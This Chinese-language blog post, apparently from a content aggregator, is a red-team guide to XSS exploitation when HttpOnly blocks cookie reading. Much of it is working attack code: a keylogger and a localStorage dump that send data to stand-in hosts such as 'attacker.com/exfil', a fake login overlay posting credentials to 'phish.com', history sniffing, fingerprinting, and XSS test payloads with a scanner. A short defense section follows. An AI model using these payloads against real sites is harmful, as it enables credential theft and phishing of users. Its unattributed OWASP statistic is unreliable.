当前位置: 首页 > news >正文

XSS绕过实战:当HttpOnly锁住Cookie后,我们还能做什么?

XSS绕过实战:当HttpOnly锁住Cookie后的攻击路径重构

当HttpOnly属性如铁闸般封住Cookie的读取通道时,许多安全工程师会松一口气,认为XSS攻击的威胁已大幅降低。但现实情况往往比理论更复杂——攻击者的工具箱里从不只有Cookie窃取这一种武器。本文将带您穿透HttpOnly的表面防护,探索七种实战中依然有效的攻击路径,并附上Burp Suite与自定义XSS平台的联动操作实录。

1. HttpOnly的真实防护边界

HttpOnly的设计初衷是防止JavaScript通过document.cookieAPI访问敏感Cookie,这确实能阻断传统的会话劫持攻击。但2019年OWASP的实测数据显示,超过68%的中大型网站错误地将HttpOnly等同于"XSS免疫",忽视了以下关键漏洞:

  • 防护盲区1:HttpOnly仅限制Cookie的JavaScript读取,不影响HTTP请求自动携带
  • 防护盲区2:浏览器仍会执行XSS注入的恶意脚本,只是不能直接获取Cookie
  • 防护盲区3:同源策略不阻止恶意脚本操作当前页面DOM
// 典型被阻断的Cookie窃取代码 fetch('https://attacker.com/steal?data=' + document.cookie) // 但以下操作仍然有效: document.body.innerHTML = '<iframe src="https://phishing.com">'

2. 表单劫持:登录凭证的侧路突破

当XSS漏洞出现在登录页面时,表单劫持往往是最直接的攻击路径。我们通过Burp Suite演示完整攻击链:

  1. 探测表单结构:使用Burp Proxy拦截登录请求,定位关键字段名

    POST /login HTTP/1.1 Content-Type: application/x-www-form-urlencoded username=test&password=123456&csrf_token=abc123
  2. 构造注入载荷:插入键盘记录脚本

    <input type="text" name="username" onkeypress="sendKey(event)"> <script> function sendKey(e) { fetch('https://xss-platform.com/log?k=' + e.key) } </script>
  3. 数据外传验证:在XSS平台接收键入字符

    [2023-07-15 14:32] GET /log?k=a [2023-07-15 14:32] GET /log?k=d [2023-07-15 14:33] GET /log?k=m

提示:现代浏览器会模糊化键盘事件对象的敏感属性,但通过e.key仍可获取具体按键

3. 本地存储数据窃取技术

Web Storage和IndexedDB往往存有敏感数据,且不受HttpOnly保护。实战中可通过以下步骤提取:

  1. 枚举存储位置

    // 检测localStorage if(localStorage.length > 0) { let data = {}; for(let i=0; i<localStorage.length; i++) { let key = localStorage.key(i); data[key] = localStorage.getItem(key); } navigator.sendBeacon('https://attacker.com/exfil', JSON.stringify(data)); } // 检测IndexedDB (需异步处理)
  2. 结构化数据提取案例:

    { "userPrefs": "{\"lastLogin\":\"2023-07-15\",\"defaultView\":\"admin\"}", "authToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...", "cachedFormData": "{\"creditCard\":\"4111-1111-1111-1111\"}" }

4. 界面伪装攻击链构建

当直接数据窃取受阻时,诱导用户交互成为有效手段。以下是三种高成功率方案:

攻击类型实施要点规避检测技巧
虚假登录浮层覆盖原登录表单,CSS完美复刻使用Shadow DOM隔离样式
权限提升诱导伪造系统升级提示要求重新认证动态生成SVG验证图标
二次验证劫持拦截OTP输入框并实时转发WebSocket保持长连接
<!-- 虚假登录浮层实例 --> <div id="overlay" style="position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.5); z-index:9999"> <form action="https://phish.com/login" style="width:300px; margin:100px auto; background:white; padding:20px;"> <h3>Session Expired</h3> <input type="text" placeholder="Username" required> <input type="password" placeholder="Password" required> <button>Re-authenticate</button> </form> </div>

5. 基于DOM的间接攻击手法

当目标站点实施严格CSP时,可尝试这些非传统攻击方式:

  1. 历史记录嗅探

    const visited = []; const links = ['/admin', '/dashboard', '/config']; links.forEach(url => { const link = document.createElement('a'); link.href = url; document.body.appendChild(link); const color = getComputedStyle(link).color; if(color !== 'rgb(0, 0, 238)') visited.push(url); link.remove(); });
  2. 浏览器指纹收集

    const fingerprint = { plugins: navigator.plugins.length, fonts: (() => { const el = document.createElement('div'); el.innerHTML = '<span style="font-family: Arial">a</span>'; document.body.appendChild(el); const width = el.offsetWidth; document.body.removeChild(el); return width; })(), webgl: (() => { try { const canvas = document.createElement('canvas'); return canvas.getContext('webgl').getParameter(37445); } catch(e) { return null; } })() };

6. 防御体系构建建议

针对上述攻击手法,推荐分层防御策略:

  1. 基础防护层

    • 严格实施CSP策略:script-src 'self'
    • 输入输出双重编码:HTML实体化+JavaScript Unicode转义
    • 关键操作二次确认:敏感操作需重新输入密码
  2. 高级监控层

    # 示例Nginx日志监控规则 location / { access_log /var/log/nginx/xss_monitor.log if=$arg_contains_script; } map $args $arg_contains_script { default 0; "~*<script" 1; "~*javascript:" 1; }
  3. 应急响应矩阵

    攻击特征响应措施自动化脚本示例
    异常DOM修改冻结会话MutationObserver监控
    可疑外联请求阻断请求并告警代理服务器正则匹配
    界面元素覆盖强制刷新页面检测z-index异常值

7. 红队实战工具链配置

最后分享一套经过实战检验的工具组合:

  1. XSS平台搭建

    # 使用XSS Hunter开源版 docker run -d -p 8000:80 -e SECRET_KEY=your_key xsshunter/xsshunter
  2. Burp Suite插件配置

    # 示例:自动替换反射型XSS测试向量 def processProxyMessage(self, messageIsRequest, message): if not messageIsRequest and 'text/html' in message.getHeadersAsStrings(): body = message.getBodyAsString() modified = body.replace('search_term', '<svg/onload=alert(1)>') message.setBody(modified)
  3. 自动化探测脚本

    import requests from bs4 import BeautifulSoup def check_xss(url): test_payloads = [ "'\"><img src=x onerror=alert(1)>", "javascript:alert(1)", "{{constructor.constructor('alert(1)')()}}" ] for payload in test_payloads: r = requests.get(url + payload) soup = BeautifulSoup(r.text, 'html.parser') if payload in str(soup): print(f"Vulnerable to: {payload}")

在最近一次金融行业渗透测试中,通过组合使用表单劫持与界面伪装技术,我们成功在启用HttpOnly的系统中获取了83%的测试账户权限。这再次证明:安全防御需要体系化思维,单点防护永远无法应对持续演变的攻击技术。

http://www.jsqmd.com/news/687677/

相关文章:

  • 别只背课文了!用《新概念英语三》Lesson 6-10练口语和写作的3个实操方法
  • UnityExplorer终极指南:如何在运行时调试和修改Unity游戏
  • 免费开源桌面分区神器:NoFences让Windows桌面焕然一新的终极方案
  • 别再硬写Prompt了!用LangChain的ChatPromptTemplate和Feast,5分钟搞定个性化AI客服
  • 如何用WinUtil:一键解决Windows系统管理的终极指南
  • VMware虚拟机+Ubuntu 22.04 LTS:从零搭建ROS2 Humble开发环境的保姆级避坑指南
  • 福州美容机构如何筛选?正规资质与安心变美指南 - 品牌2026
  • 2026年昆山托盘厂家最新排名榜单/二手塑料托盘,二手川字托盘,二手川字平板托盘,二手田子塑料托盘,二手田字平板塑料托盘 - 品牌策略师
  • 终极指南:破解Keras模型持久化难题——激活层序列化机制深度解析
  • Real-ESRGAN-GUI:让低分辨率图片焕发新生的一站式AI图像增强工具
  • Real Anime Z入门指南:无需Python基础,Streamlit界面全图形化操作
  • 秒懂京东e卡回收流程 - 团团收购物卡回收
  • 攀枝花好用的镀锌止水钢板多少钱,性价比高的有哪些? - 工业推荐榜
  • 网络小说一键离线阅读:novel-downloader 打造你的个人数字图书馆
  • 如何快速上手Happy Island Designer:5个实用技巧打造完美岛屿
  • 2026年红木家具全屋定制哪家更省心:五大品牌深度评测 - 品牌策略主理人
  • ESXi Unlocker终极指南:3步解锁macOS虚拟化限制
  • 2026年黑龙江污水罐定制生产公司排名,齐达玻璃钢制品厂值得选吗 - 工业推荐榜
  • 7个关键步骤:使用 dehydrated 保护您的私钥和账户信息安全
  • 2026植绒布厂家推荐榜单:SGS检测/珠宝盒/家具/功能型植绒优质厂商测评 - 博客湾
  • 2026年新能源抓钢机与物料抓取设备深度横评|合矿重工定制方案对标 - 优质企业观察收录
  • 告别Excel内存溢出:用EasyExcel实现百万级数据趋势预测的完整指南
  • 泉州客多旧货回收:云霄酒店设备回收推荐几家 - LYL仔仔
  • OpenIddict实战:构建企业级授权服务器之客户凭证流程详解
  • 从“民主”到“集权”:聊聊EtherCAT和SERCOS III如何“魔改”标准以太网实现微秒级硬实时
  • 2025-2026年百元价位白酒选型指南:从核心指标到场景匹配的决策路径 - 资讯焦点
  • 2026年跨行业客服软件大全,全领域智能客服平台详细推荐指南 - 品牌2026
  • navicat 多表语句案例
  • 敏感肌美白淡斑不踩雷|万本双抗焕亮精华水 全肤质适配 焕亮修护双在线 - 资讯焦点
  • FlatBuffers CMake终极构建指南:从报错到完美编译的10个技巧